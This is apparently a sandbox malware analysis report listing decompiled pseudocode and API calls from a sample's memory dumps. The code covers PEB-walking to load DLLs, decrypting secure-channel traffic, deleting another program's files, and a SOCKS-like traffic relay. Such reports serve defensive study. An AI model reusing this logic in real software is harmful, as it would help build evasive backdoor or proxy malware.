CryptDestroyKey.ADVAPI32(?,?,?,00000080,00000000,?,00000000,00000006,00000000,?,?,?,?,00000190,00000000,00000001), ref: 00403C1D

Memory Dump Source

Source File: 00000000.00000002.308108049.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_i1lq1Qpbyw.jbxd

Similarity

API ID: Crypt$DestroyExportImport
String ID:
API String ID: 2547721435-0
Opcode ID: c573997427dfe8a682f9e59e6c6e08a0a16756de141bc0ca02fe929365c03c4b
Instruction ID: d87df2899f42a0005540488748e121e03d4a28e35cd320b4e93aa70838f0d01d
Opcode Fuzzy Hash: c573997427dfe8a682f9e59e6c6e08a0a16756de141bc0ca02fe929365c03c4b
Instruction Fuzzy Hash: 91016DB2A00208BADB11EB91CC42FDF776CEB40714F10006AB606B50D1DAB5A6689B68

Uniqueness

Uniqueness Score: -1.00%

Function 00404359 Relevance: 3.1, APIs: 2, Instructions: 148
memorywindowCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E00404359(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _v8;
				void* _v12;
				char _v16;
				long _v20;
				char* _v24;
				long _v28;
				void* _v32;
				void* _v36;
				void* _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				void* _v56;
				void* _v60;
				void* _v64;
				void* _v68;
				char _v72;
				signed int _v76;
				char _v80;
				signed int _v84;
				void* _v88;
				void* _t71;
				void* _t77;
				signed int _t78;
				signed int _t86;
				signed int _t88;
				signed int _t92;
				intOrPtr _t101;
				signed int* _t102;
				void* _t103;
				void* _t104;

				E00406259( &_v88,  &_v16 - _t104);
				E00406259(_a8, 4);
				_t101 = _a8;
				_v20 = 0x8000;
				_t71 = VirtualAlloc(0, _v20, 0x3000, 4);
				if(_t71 == 0) {
					L28:
					E00404681(_a8);
					_v88 = 0;
					goto L29;
				} else {
					_v8 = _t71;
					goto L2;
					do {
						do {
							L2:
							if(_v12 == 0 || _v84 == 0x80090318) {
								while(1) {
									_t77 = _v8 + _v12;
									_t96 = _v20 != _v12;
									if(_v20 != _v12) {
										break;
									}
									_v20 = _v20 + 0x8000;
									if(E00404618( &_v8, _v12, _v20) == 0) {
										goto L28;
									} else {
										continue;
									}
								}
								_t78 = E00405F54(__eflags, _a4, _t77, _t96, 0);
								__eflags = _t78;
								if(_t78 <= 0) {
									goto L28;
								}
								_t20 =  &_v12;
								 *_t20 = _v12 + _t78;
								__eflags =  *_t20;
							}
							E004061D2( &_v12,  &_v80, 4);
							_v76 = 1;
							E004061D2( &_v8,  &_v72, 4);
							_v68 = 0;
							_v64 = 0;
							_v60 = 0;
							_v56 = 0;
							_v52 = 0;
							_v48 = 0;
							_v44 = 0;
							_v40 = 0;
							_v36 = 0;
							_v24 =  &_v80;
							_v32 = 0;
							_v28 = 4;
							_push(0);
							_push(0);
							_t86 =  &_v32;
							_push(_t86);
							_push(_a12);
							L00406A78();
							_v84 = _t86;
							__eflags = _v84 - 0x80090318;
						} while (__eflags == 0);
						__eflags = _v84 - 0x90317;
						if(_v84 == 0x90317) {
							L14:
							_v12 = 0;
							_t92 = 1;
							while(1) {
								__eflags = _t92 - 3;
								if(_t92 > 3) {
									goto L26;
								}
								_t102 = _t103 + _t92 * 0xc - 0x4c;
								__eflags = _t102[1] - 1;
								if(_t102[1] != 1) {
									L20:
									__eflags = _t102[1] - 5;
									if(_t102[1] == 5) {
										__eflags = _t102[2];
										if(_t102[2] != 0) {
											__eflags =  *_t102;
											if( *_t102 != 0) {
												_t59 =  &_v12;
												 *_t59 = _v12 +  *_t102;
												__eflags =  *_t59;
												_v84 = 0x90312;
												E004061D2(_t102[2], _v8 + _v12,  *_t102);
											}
										}
									}
									L24:
									_t92 = _t92 + 1;
									__eflags = _t92;
									continue;
								}
								__eflags = _t102[2];
								if(_t102[2] == 0) {
									goto L20;
								}
								__eflags =  *_t102;
								if( *_t102 == 0) {
									goto L20;
								}
								_t88 = E004045E2(_t101, _v88, _t102[2],  *_t102);
								__eflags = _t88;
								if(_t88 == 0) {
									goto L28;
								}
								_v88 = _v88 +  *_t102;
								goto L24;
							}
							goto L26;
						}
						__eflags = _v84 - 0x90321;
						if(_v84 != 0x90321) {
							__eflags = _t86;
							if(_t86 != 0) {
								goto L28;
							}
							goto L14;
						}
						goto L28;
						L26:
						__eflags = _v84 - 0x90312;
					} while (__eflags == 0);
					L29:
					E00404681( &_v8);
					return _v88;
				}
			}

0x0040436d
0x00404377
0x0040437c
0x0040437f
0x00404392
0x00404399
0x00404532
0x00404535
0x0040453a
0x00000000
0x0040439f
0x0040439f
0x0040439f
0x004043a2
0x004043a2
0x004043a2
0x004043a6
0x004043b1
0x004043b4
0x004043ba
0x004043bf
0x00000000
0x00000000
0x004043c1
0x004043d9
0x00000000
0x004043df
0x00000000
0x004043df
0x004043d9
0x004043e8
0x004043ed
0x004043ef
0x00000000
0x00000000
0x004043f5
0x004043f5
0x004043f5
0x004043f5
0x00404402
0x00404407
0x00404418
0x0040441d
0x00404424
0x0040442b
0x00404432
0x00404439
0x00404440
0x00404447
0x0040444e
0x00404455
0x0040445f
0x00404462
0x00404469
0x00404470
0x00404472
0x00404474
0x00404477
0x00404478
0x0040447b
0x00404480
0x00404483
0x00404483
0x00404490
0x00404497
0x004044b0
0x004044b0
0x004044b7
0x0040451e
0x0040451e
0x00404521
0x00000000
0x00000000
0x004044c1
0x004044c5
0x004044c9
0x004044ef
0x004044ef
0x004044f3
0x004044f5
0x004044f9
0x004044fb
0x004044fe
0x00404508
0x00404508
0x00404508
0x0040450b
0x00404518
0x00404518
0x004044fe
0x004044f9
0x0040451d
0x0040451d
0x0040451d
0x00000000
0x0040451d
0x004044cb
0x004044cf
0x00000000
0x00000000
0x004044d1
0x004044d4
0x00000000
0x00000000
0x004044df
0x004044e4
0x004044e6
0x00000000
0x00000000
0x004044ea
0x00000000
0x004044ea
0x00000000
0x0040451e
0x00404499
0x004044a0
0x004044a7
0x004044aa
0x00000000
0x00000000
0x00000000
0x004044aa
0x00000000
0x00404523
0x00404523
0x00404523
0x00404541
0x00404545
0x00404551
0x00404551

APIs

VirtualAlloc.KERNEL32(00000000,?,00003000,00000004,?,00000004,?,?,?,?,00000003), ref: 00404392
DecryptMessage.SECUR32(?,?,00000000,00000000,?,?,00000004,?,?,00000004,?,?,?,00000000,00000000,?), ref: 0040447B

Memory Dump Source

Source File: 00000000.00000002.308108049.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_i1lq1Qpbyw.jbxd

Similarity

API ID: AllocDecryptMessageVirtual
String ID:
API String ID: 2757997683-0
Opcode ID: 5c94857fa039f189af9300c0447536030e9805e17b1e6dea6593ef5f43fbf839
Instruction ID: c4f076050abf727d3341b438205accb6db636bad67efbee14f2a9a5a3b96c47f
Opcode Fuzzy Hash: 5c94857fa039f189af9300c0447536030e9805e17b1e6dea6593ef5f43fbf839
Instruction Fuzzy Hash: E85109B1900208EBDF24DF91C845BAEB7B8EF84308F10442EE751762D0D7799A58DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00405F54 Relevance: 3.0, APIs: 2, Instructions: 36
networkCOMMON

Download Yara Rule

C-Code - Quality: 40%

			E00405F54(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v12;
				char _v24;
				char* _t12;
				char* _t13;

				E0040621F(_a4, 0,  &_v24, _a16, 0);
				_t13 =  &_v12;
				if(_a16 == 0) {
					_t13 = 0;
				}
				_push(_t13);
				_push(0);
				_push(0);
				_t12 =  &_v24;
				_push(_t12);
				_push(0);
				L00406A24();
				if(_t12 == 1) {
					_push(0);
					_push(_a12);
					_push(_a8);
					_push(_a4);
					L00406A1E();
					return _t12;
				}
				return _t12;
			}

0x00405f6b
0x00405f70
0x00405f77
0x00405f79
0x00405f79
0x00405f7b
0x00405f7c
0x00405f7e
0x00405f80
0x00405f83
0x00405f84
0x00405f86
0x00405f8e
0x00405f90
0x00405f92
0x00405f95
0x00405f98
0x00405f9b
0x00000000
0x00405f9b
0x00405fa4

APIs

select.WSOCK32(00000000,?,00000000,00000000,?,?,00000000,?,?,00000000,?,?,00000003), ref: 00405F86
recv.WSOCK32(?,?,?,00000000,00000000,?,00000000,00000000,?,?,00000000,?,?,00000000,?,?), ref: 00405F9B

Memory Dump Source

Source File: 00000000.00000002.308108049.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_i1lq1Qpbyw.jbxd

Similarity

API ID: recvselect
String ID:
API String ID: 741273618-0
Opcode ID: 97f53a0d5a20950b3a15b2b02d2f26d09f9fd88d3e392bcfedc6ae2eac7ae7d6
Instruction ID: 469decef5706fd9177a6baefe362b40db246d05773b7a94ce7c7f39050bfd426
Opcode Fuzzy Hash: 97f53a0d5a20950b3a15b2b02d2f26d09f9fd88d3e392bcfedc6ae2eac7ae7d6
Instruction Fuzzy Hash: 04F05E3164020E7AEF10EE85DD42FEF3B6DEB81754F108026FA05B90D0D7B59A608A69

Uniqueness

Uniqueness Score: -1.00%

Function 00406698 Relevance: 2.6, Strings: 2, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00406698(intOrPtr _a4) {
				char* _v8;
				short _v10;
				char _v12;
				char _v16;
				char _v268;
				char _v272;
				char _v1296;
				intOrPtr _t31;
				intOrPtr _t34;
				short _t37;
				intOrPtr _t45;
				void* _t48;
				char* _t49;
				intOrPtr* _t50;
				intOrPtr* _t51;
				void* _t52;

				E00406259( &_v1296,  &_v16 - _t52);
				E00406270(_a4, 0xffffffff,  &_v1296);
				_t49 =  &_v1296;
				_t31 =  *((intOrPtr*)( *[fs:0x30] + 0xc));
				_t51 =  *((intOrPtr*)(_t31 + 0xc));
				_t45 =  *((intOrPtr*)(_t31 + 0x10));
				do {
					_t51 =  *_t51;
					_t50 =  *((intOrPtr*)(_t51 + 0x30));
					_t48 = 0;
					while( *((char*)(_t48 + _t49)) != 0) {
						_t34 =  *_t50;
						if(_t34 < 0x41 || _t34 > 0x5a) {
							__eflags = _t34 - 0x61;
							if(__eflags >= 0) {
								__eflags = _t34 - 0x7a;
								if(__eflags <= 0) {
									_t34 = _t34 - 0x20;
									__eflags = _t34;
								}
							}
						} else {
							_t34 = _t34 + 0x20;
						}
						if( *((intOrPtr*)(_t48 + _t49)) == _t34 ||  *((intOrPtr*)(_t48 + _t49)) == _t34) {
							_t50 = _t50 + 2;
							_t48 = _t48 + 1;
							continue;
						} else {
							goto L11;
						}
					}
					return  *((intOrPtr*)(_t51 + 0x18));
					L11:
					_t60 = _t51 - _t45;
				} while (_t51 != _t45);
				_t37 = E00406460(_t60,  &_v1296,  &_v268);
				_v12 = _t37;
				_v10 = _t37;
				_v10 = _v10 + 2;
				_v8 =  &_v268;
				_v272 = 0;
				_push( &_v272);
				_push( &_v12);
				_push(0);
				_push(0);
				 *((intOrPtr*)(E00406788(_t60, E00406698("ntdll.dll"), "LdrLoadDll")))();
				return _v272;
			}

0x004066af
0x004066c0
0x004066c5
0x004066d1
0x004066d4
0x004066d7
0x004066da
0x004066da
0x004066dc
0x004066df
0x004066e1
0x004066ed
0x004066f1
0x004066fc
0x004066fe
0x00406700
0x00406702
0x00406704
0x00406704
0x00406704
0x00406702
0x004066f7
0x004066f7
0x004066f7
0x0040670a
0x00406713
0x00406716
0x00000000
0x00000000
0x00000000
0x00000000
0x0040670a
0x00000000
0x00406711
0x00406719
0x00406719
0x0040672b
0x00406730
0x00406734
0x00406738
0x00406743
0x00406746
0x00406756
0x0040675a
0x0040675b
0x0040675d
0x00406774
0x00000000

Strings

LdrLoadDll, xrefs: 00406769
ntdll.dll, xrefs: 0040675F

Memory Dump Source

Source File: 00000000.00000002.308108049.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_i1lq1Qpbyw.jbxd

Similarity

API ID:
String ID: LdrLoadDll$ntdll.dll
API String ID: 0-2564759627
Opcode ID: fc9e9e62f03503c3b8a199c7c69aecf19c7e0107366dbd7550c0934bc82d2440
Instruction ID: e6d49e0388bafc491964756e31d7199eaa49e47e51a7015218bf12175498275a
Opcode Fuzzy Hash: fc9e9e62f03503c3b8a199c7c69aecf19c7e0107366dbd7550c0934bc82d2440
Instruction Fuzzy Hash: 3F2106759002189BCB20DB94CC44FCAB3B8EB05318F1144FBD486B72C1D638AA568F69

Uniqueness

Uniqueness Score: -1.00%

Function 00B11004 Relevance: 2.5, Strings: 1, Instructions: 1285COMMON

Download Yara Rule

Strings

r, xrefs: 00B11014

Memory Dump Source

Source File: 00000000.00000002.308267503.0000000000B11000.00000040.00000020.00020000.00000000.sdmp, Offset: 00B11000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b11000_i1lq1Qpbyw.jbxd

Yara matches

Similarity

API ID:
String ID: r
API String ID: 0-1812594589
Opcode ID: c58a95ee65e0c40c98ed7f75d33c1996f27fe6966749b8bd0e8a38d74666dde0
Instruction ID: 768811e2ed6313e84d33d30ed86ad829293885878128bcc4a1f5815eec6f3b23
Opcode Fuzzy Hash: c58a95ee65e0c40c98ed7f75d33c1996f27fe6966749b8bd0e8a38d74666dde0
Instruction Fuzzy Hash: B0A2418A80E7C05FE7038B35282A6957FB55E27254B4F14D7C0A4CF2B3E4084A5EEB76

Uniqueness

Uniqueness Score: -1.00%

Function 00864039 Relevance: 1.6, APIs: 1, Instructions: 98encryptionCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 00864150

Memory Dump Source

Source File: 00000000.00000002.308176286.0000000000860000.00000040.00001000.00020000.00000000.sdmp, Offset: 00860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_i1lq1Qpbyw.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: f4165d4c170c6d4e9428747cdf0b0da8e271c0f524917755f37f749a58f2d512
Instruction ID: e40dc385619524317757ca5f890b82c56a950bf76cd20f64f8eee09918f1cdab
Opcode Fuzzy Hash: f4165d4c170c6d4e9428747cdf0b0da8e271c0f524917755f37f749a58f2d512
Instruction Fuzzy Hash: 3431E732A403187AEF21DA64CC46FEE777DFF44304F1500A5BA24E21C2EF709A908B61

Uniqueness

Uniqueness Score: -1.00%

Function 00862011 Relevance: 1.6, APIs: 1, Instructions: 77encryptionCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 008617A8
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 008617DC
CryptReleaseContext.ADVAPI32(?,00000000,?,?,?,?,00000000,?), ref: 0086295B

Memory Dump Source

Source File: 00000000.00000002.308176286.0000000000860000.00000040.00001000.00020000.00000000.sdmp, Offset: 00860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_i1lq1Qpbyw.jbxd

Yara matches

Similarity

API ID: Crypt$BinaryString$ContextRelease
String ID:
API String ID: 1374739491-0
Opcode ID: 7e85fd0953a87749d06ea8a06f95dd2e5f16c23cd80c068d8355f0faf534fb09
Instruction ID: 552bd4155c245596415f0e924e5d054cbaafb015b1bd44e257367407ea0dec7d
Opcode Fuzzy Hash: 7e85fd0953a87749d06ea8a06f95dd2e5f16c23cd80c068d8355f0faf534fb09
Instruction Fuzzy Hash: 28215371D40258AADF20ABE8CD0AFDC76B8FF44704F2144A6F544F2081DF7A9A949F26

Uniqueness

Uniqueness Score: -1.00%

Function 004065B9 Relevance: 1.3, Strings: 1, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E004065B9(signed int __eax, signed int _a4) {
				signed int _t8;
				void* _t13;
				signed int _t15;

				asm("rdtsc");
				_push(_t13);
				_push(_t15);
				asm("rcr eax, 0x10");
				_t8 = 0x3cfb5543 + __eax * 0x1e7319 + _t13;
				if(_t15 != 0) {
					_t8 = _t8 * _t15;
				}
				return _t8 * _a4 >> 0x20;
			}

0x004065b9
0x004065bf
0x004065c0
0x004065ce
0x004065d1
0x004065d5
0x004065d7
0x004065d7
0x004065e7

Strings

llfujo, xrefs: 004065C1

Memory Dump Source

Source File: 00000000.00000002.308108049.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_i1lq1Qpbyw.jbxd

Similarity

API ID:
String ID: llfujo
API String ID: 0-2623408462
Opcode ID: 1f89aef79ef7b5cb9e09e9803b4407ea6ad23b4a41ae40ae392cbca8b0574f67
Instruction ID: f79e77312dda7801166e91471ef17651793d1126662eb812a09b32dd190a71af
Opcode Fuzzy Hash: 1f89aef79ef7b5cb9e09e9803b4407ea6ad23b4a41ae40ae392cbca8b0574f67
Instruction Fuzzy Hash: 13D0127B7041162BB70C504FAD068A7665FC1D1268318D437A901D4295F551DA450174

Uniqueness

Uniqueness Score: -1.00%

Function 008668E8 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.308176286.0000000000860000.00000040.00001000.00020000.00000000.sdmp, Offset: 00860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_i1lq1Qpbyw.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fd5109339da8b0c2b87d72ad57743204797d109e28c7542155406389c36da11
Instruction ID: 56fb727fd1f235365da722911c34b012543e13a20f2ad85a0caa692638040f02
Opcode Fuzzy Hash: 5fd5109339da8b0c2b87d72ad57743204797d109e28c7542155406389c36da11
Instruction Fuzzy Hash: 06212672904298AFCF20DB68C840FCDBBB8FF05310F1140AAE881E7242E734AA568F55

Uniqueness

Uniqueness Score: -1.00%

Function 00B11F8B Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.308267503.0000000000B11000.00000040.00000020.00020000.00000000.sdmp, Offset: 00B11000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b11000_i1lq1Qpbyw.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 8eae3c5efb045740c8a8c88ec8d72fe2adbfc09a30619a3ca41bd1624f5c1728
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: E11170723401009FEB44DF59DCD1FE673EAEB88360B698195ED04CB356D675E842C760

Uniqueness

Uniqueness Score: -1.00%

Function 00860D90 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.308176286.0000000000860000.00000040.00001000.00020000.00000000.sdmp, Offset: 00860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_i1lq1Qpbyw.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da1566a2f6af9372ef5ff0064129cc8c7bd33331f23317b37220a35c5510ad97
Instruction ID: 82ac322a432def8823af1ef6bf0ec9fd1c2c2f3d91b00de5130ce069845b05cd
Opcode Fuzzy Hash: da1566a2f6af9372ef5ff0064129cc8c7bd33331f23317b37220a35c5510ad97
Instruction Fuzzy Hash: 99F0CD76A006089FDB21CFA4D845BAE73F9FB88315F0547A4D80AD7282D330ED428F94

Uniqueness

Uniqueness Score: -1.00%

Function 0040593C Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 105
sleepfilethreadCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040593C(void* __eflags, struct HWND__* _a4) {
				char _v16;
				char _v260;
				char _v516;
				long _v520;
				char _v648;
				char* _v652;
				intOrPtr _v656;
				void* _v660;
				void* _v664;
				int _t35;
				void* _t38;
				void* _t47;
				CHAR* _t48;
				int _t50;
				void* _t57;
				void* _t58;
				void* _t60;

				E00406259( &_v664,  &_v16 - _t60);
				GetWindowThreadProcessId(_a4,  &_v520);
				if(_v520 != GetCurrentProcessId()) {
					GetClassNameA(_a4,  &_v260, 0x100);
					_t35 = GetWindowTextA(_a4,  &_v516, 0x100);
					_t63 = _t35;
					if(_t35 != 0) {
						_t38 = E004064AD(_t63, "win32app",  &_v260);
						_t64 = _t38;
						if(_t38 != 0 && E004064AD(_t64, "Microsoft",  &_v516) != 0) {
							_t57 = 0x80;
							do {
								_t40 = E004065B9(_t40, 0x80);
								asm("stosb");
								_t57 = _t57 - 1;
							} while (_t57 != 0);
							_v660 = E004065B9(_t40, 0xee6b2800);
							_v656 = E004065B9(_t41, 0x80) + 1;
							_v652 =  &_v648;
							SendMessageA(_a4, 0x4a, 0,  &_v660);
							_t47 = OpenProcess(0x410, 0, _v520);
							if(_t47 != 0) {
								_v664 = _t47;
								_push(0x100);
								_t48 =  &_v260;
								_push(_t48);
								_push(0);
								_push(_v664);
								L00406AC0();
								if(_t48 != 0) {
									Sleep(0x3e8);
									_t50 = DeleteFileA( &_v260);
									_t69 = _t50;
									if(_t50 != 0) {
										_t58 = E00406492(_t69,  &_v260);
										while(1) {
											_t58 = _t58 - 1;
											if(_t58 == 0) {
												goto L13;
											}
											if( *[ss:ecx+ebp-0x100] != 0x5c) {
												continue;
											} else {
												 *[ss:ecx+ebp-0x100] = 0;
												RemoveDirectoryA( &_v260);
											}
											goto L13;
										}
									}
								}
							}
						}
					}
				}
				L13:
				return 1;
			}

0x00405953
0x00405962
0x00405972
0x00405987
0x0040599b
0x004059a0
0x004059a2
0x004059b4
0x004059b9
0x004059bb
0x004059e0
0x004059e5
0x004059ea
0x004059ef
0x004059f0
0x004059f0
0x004059fd
0x00405a0e
0x00405a1a
0x00405a2e
0x00405a40
0x00405a47
0x00405a49
0x00405a4f
0x00405a54
0x00405a5a
0x00405a5b
0x00405a5d
0x00405a63
0x00405a6a
0x00405a71
0x00405a7d
0x00405a82
0x00405a84
0x00405a92
0x00405a94
0x00405a94
0x00405a95
0x00000000
0x00000000
0x00405aa0
0x00000000
0x00405aa2
0x00405aa2
0x00405ab2
0x00405ab2
0x00000000
0x00405aa0
0x00405a94
0x00405a84
0x00405a6a
0x00405a47
0x004059bb
0x004059a2
0x00405ab7
0x00405ac0

APIs

GetWindowThreadProcessId.USER32(?,?), ref: 00405962
GetCurrentProcessId.KERNEL32(?,?), ref: 00405967
GetClassNameA.USER32(?,?,00000100), ref: 00405987
GetWindowTextA.USER32 ref: 0040599B
SendMessageA.USER32(?,0000004A,00000000,?), ref: 00405A2E
OpenProcess.KERNEL32(00000410,00000000,?,00000080,EE6B2800,00000080,Microsoft,?,win32app,?,?,?,00000100,?,?), ref: 00405A40
GetModuleFileNameExA.PSAPI(?,00000000,?,00000100,00000410,00000000,?,00000080,EE6B2800,00000080,Microsoft,?,win32app,?,?,?), ref: 00405A63
Sleep.KERNEL32(000003E8,?,00000000,?,00000100,00000410,00000000,?,00000080,EE6B2800,00000080,Microsoft,?,win32app,?,?), ref: 00405A71
DeleteFileA.KERNEL32(?,000003E8,?,00000000,?,00000100,00000410,00000000,?,00000080,EE6B2800,00000080,Microsoft,?,win32app,?), ref: 00405A7D
RemoveDirectoryA.KERNEL32(00000000), ref: 00405AB2

Strings

Microsoft, xrefs: 004059C8
win32app, xrefs: 004059AF

Memory Dump Source

Source File: 00000000.00000002.308108049.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_i1lq1Qpbyw.jbxd

Similarity

API ID: Process$FileNameWindow$ClassCurrentDeleteDirectoryMessageModuleOpenRemoveSendSleepTextThread
String ID: Microsoft$win32app
API String ID: 934796723-2644191155
Opcode ID: 0b87a9a00d354b46409895b4d87fc05f8e73b86ae0661e72651ec2bffa10af5f
Instruction ID: 86328c1093061821a4371a1ac66eddd852efdd7a2fdcc86639292ee15b01066f
Opcode Fuzzy Hash: 0b87a9a00d354b46409895b4d87fc05f8e73b86ae0661e72651ec2bffa10af5f
Instruction Fuzzy Hash: 6D31A871A0021869EF21ABA1CC46FEA776CEF54304F0041BFB545F51C2EBB89E948F68

Uniqueness

Uniqueness Score: -1.00%

Function 004047BA Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 333
networkCOMMON

Download Yara Rule

C-Code - Quality: 71%

			E004047BA(void* __eflags, intOrPtr _a4) {
				void* _v8;
				intOrPtr _v12;
				signed int _v16;
				void* _v20;
				char _v24;
				intOrPtr _v28;
				char _v32;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				signed int _v51;
				signed int _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				intOrPtr _v88;
				short _v90;
				char _v92;
				char _v96;
				char _v112;
				char _v116;
				short _v118;
				char _v120;
				char _v128;
				char _v140;
				char _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				char _v156;
				char _v160;
				signed short _t194;
				signed short _t206;
				char* _t215;
				char* _t220;
				intOrPtr _t229;
				signed int _t230;
				signed int _t233;
				intOrPtr* _t238;
				char* _t240;
				intOrPtr _t241;
				intOrPtr _t242;
				void* _t244;

				E00406259( &_v160,  &_v16 - _t244);
				_t241 = _a4;
				E004061D2(_t241 + 0x180,  &_v32, 4);
				E004061D2(_t241 + 0x184,  &_v16, 4);
				E004061D2(_t241 + 0x188,  &_v24, 4);
				E004061D2(_t241 + 0x18c,  &_v8, 4);
				E004061D2(_t241 + 0x190,  &_v20, 4);
				E004061D2(_t241 + 0x194,  &_v56, 4);
				E004061D2(_t241 + 0x198,  &_v64, 4);
				E004061D2(_t241 + 0x19c,  &_v68, 4);
				E004061D2(_t241 + 0x1a0,  &_v72, 4);
				E004061D2(_t241 + 0x1a4,  &_v76, 4);
				E004061D2(_t241 + 0x1a8,  &_v60, 4);
				_t233 = _v16;
				_t238 = _v8;
				_v28 =  *((intOrPtr*)(_t238 + _t233 * 4));
				_v12 =  *_t238;
				_v52 = _t233;
				_v51 = 0xa;
				_v49 = 5;
				_v48 = 1;
				_v47 = 0;
				_v46 = 1;
				_v45 = 0;
				_v44 = 0;
				_v43 = 0;
				_v42 = 0;
				_v41 = 0;
				_v40 = 0;
				_v92 = 2;
				_t246 =  *((char*)(_t241 + 7)) - 3;
				if( *((char*)(_t241 + 7)) != 3) {
					__eflags =  *((char*)(_t241 + 7)) - 1;
					if( *((char*)(_t241 + 7)) != 1) {
						__eflags =  *((char*)(_t241 + 7)) - 4;
						if( *((char*)(_t241 + 7)) != 4) {
							L14:
							_t242 = _v8;
							_t230 = _v16;
							E00405AC3(0x408089, 0x32,  &_v52, 3);
							E00405AC3(0x408089, 0x32,  &_v49, _v51 & 0x0000ffff);
							E00405F08(_v12, _v76, _v24,  &_v52, (_v51 & 0x0000ffff) + 3, _v72, _v68, _v64, 2, _v56, _v60);
							E00405AC3(0x408089, 0x32,  &_v52, 3);
							_t194 = E00405AC3(0x408089, 0x32,  &_v49, _v51 & 0x0000ffff);
							if(_v48 != 0) {
								L24:
								 *((intOrPtr*)(_t242 + _t230 * 4)) = 0;
								E0040603E(_t194, _v28);
								_v51 = 0;
								E00405AC3(0x408089, 0x32,  &_v52, 3);
								E00405F08(_v12, _v76, _v24,  &_v52, 3, _v72, _v68, _v64, 2, _v56, _v60);
								E00404681( &_v20);
								 *((intOrPtr*)(_v32 + _t230 * 4)) = 0;
								return 0;
							}
							_t240 = _v20;
							while(1) {
								L16:
								while( *((intOrPtr*)(_t242 + _t230 * 4)) != 0) {
									E0040621F(_v28, 0,  &_v140, 0, 0x64);
									_push( &_v128);
									_push(0);
									_push(0);
									_t194 =  &_v140;
									_push(_t194);
									_push(0);
									L00406A24();
									__eflags = _t194;
									if(__eflags == 0) {
										goto L16;
									}
									if(__eflags < 0) {
										goto L24;
									}
									_push(0);
									_push(0xfffa);
									_t206 = _t240 + 3;
									_push(_t206);
									_push(_v28);
									L00406A1E();
									_t194 = _t206;
									__eflags = _t194;
									if(_t194 == 0) {
										L21:
										goto L24;
									}
									__eflags = _t194 - 0xffffffff;
									if(_t194 != 0xffffffff) {
										 *(_t240 + 1) = _t194;
										 *_t240 = _v16;
										E00405AC3(0x408089, 0x32, _t240, 3);
										E00405AC3(0x408089, 0x32, _t240 + 3,  *(_t240 + 1) & 0x0000ffff);
										_t194 = E00405F08(_v12, _v76, _v24, _t240, ( *(_t240 + 1) & 0x0000ffff) + 3, _v72, _v68, _v64, 2, _v56, _v60);
										continue;
									}
									goto L21;
								}
								goto L24;
							}
						}
						_v120 = 0x17;
						_v116 = 0;
						_v96 = 0;
						_v118 =  *((intOrPtr*)(_t241 + 0x18));
						E004061D2(_t241 + 8,  &_v112, 0x10);
						L8:
						_v144 = 1;
						_t215 =  &_v144;
						_push(_t215);
						_push(0x8004667e);
						_push(_v28);
						L00406A18();
						if(_t215 == 0) {
							if( *((char*)(_t241 + 7)) == 4) {
								_push(0x1c);
								_push( &_v120);
								_push(_v28);
								L00406A00();
							} else {
								_push(0x10);
								_push( &_v92);
								_push(_v28);
								L00406A00();
							}
							E0040621F(_v28, 0,  &_v140, 0xa, 0);
							_push( &_v128);
							_push(0);
							_t220 =  &_v140;
							_push(_t220);
							_push(0);
							_push(0);
